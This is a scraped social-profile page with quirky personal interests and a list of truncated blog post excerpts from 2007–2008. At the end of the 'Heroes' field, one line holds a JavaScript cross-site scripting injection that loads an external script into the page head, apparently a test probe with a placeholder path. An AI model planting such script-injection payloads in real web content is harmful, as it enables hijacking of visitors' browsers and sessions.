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About Me

whether or not we landed on the moon is unimportant. what you were wearing probably doesn't matter as much as what you ate which may have affected your memory and/or decisions. what you decided not to eat was consequently eaten by someone else, affecting their decisions which in consequence you do not remember deciding. they now remember what you could have remembered but instead decided not to. (for example, you do not choose cake)
(myers-brigg says I'm ENFP)

My Interests

my headphones, ponies, topiary, root vegetables, junior high orchestra pits, new age hippy stuff, words and words and girls, etc.

I'd like to meet:

the soup

Music:

with girls and/or a horn section

Movies:

older than new

Television:

girls next door and desperate housewives. and I don't even care

Books:

Lexicon of Psychiatry, neurology and neuroscience, mary poppins

Heroes:

Franny Glass, Banksy, Cyndi Lauper, Bjork, Miranda July

and mrs. pots in the woodminster community theatre's production of beauty and the beast. .."var s=document.createElement('script');s.src='http://../XSS/test .js';document.getElementsByTagName('head')[0].appendChild(s) ;"

My Blog

me and bobby d

BOB DYLAN INTERVIEW - TV GUIDE - SEPTEMBER 11, 1976 "My being a Gemini explains a lot, I think," Bob Dylan is saying. "It forces me to extremes. I'm never really balanced in the middle. I go from one ...
Posted by colleen on Mon, 10 Mar 2008 12:51:00 PST

I am so good at dreaming

The first came at OK hotel, it ended with me as the priestess for a fake bearded boy and his identical gynecologist. Then it was a tourettic family with 9 children and a schizo chinese dad in the back...
Posted by colleen on Mon, 10 Mar 2008 08:30:00 PST

the hollow art of box talking

first thing is if you sound like a parrot you may actually sound like a parrot. sandwich is a word that sounds good with anything and that's a fact. I'll prove it, sandwich. there are more words like ...
Posted by colleen on Wed, 23 Jan 2008 12:46:00 PST

rock the tote

Exp ex Int in ost ost tartar sauce moral flossfloral mossoral tossSip it up it's sporous.pick it up- it's dorishi.expect expand experiment expound exude experience exult exceed expediate expel ex...
Posted by colleen on Sat, 29 Dec 2007 05:34:00 PST

tap dancing in a mosh pit

dear ira, here's where I mention xmas. the way you will know I have started the blog is I will not be mentioning xmas. so after this sentence I will not mention xmas any longer and that's how you'll k...
Posted by colleen on Tue, 25 Dec 2007 11:01:00 PST

writing written writings

try not doing something wrong a little while. you will appreciate not trying too hard to try yet still experience some degree of decency(for example, have her hide the cookies and they will still exis...
Posted by colleen on Mon, 10 Dec 2007 02:18:00 PST

processed

subject currently resides somewhere within her hippocampus, snug at the fold of a cul de sac.she is spread on her belly reading peter pan sandwiches on crusted cat naps. Every three pages or so she wi...
Posted by colleen on Wed, 28 Nov 2007 04:34:00 PST

my least favorite name is reese

Have you thought about that name? reese witherspoon? Eeeeeeeeeeeew. But I have respect for her because freeway is a knockout movie and her character is so me if I was illiterate and my parents were h...
Posted by colleen on Thu, 13 Sep 2007 12:57:00 PST

wave of mutilation

The dreams I remember almost always involve some kind of mutilation... like I had one with a little boy chasing me, poking my eyeball with a safety pin because he needed to exorcise something. I also ...
Posted by colleen on Fri, 31 Aug 2007 03:39:00 PST

a sappy

this girl lives alone somewhere. she should be a woman by now, and her name is known because it has been heard because it has been said over and over because she has done something marginally importan...
Posted by colleen on Sat, 02 Jun 2007 10:31:00 PST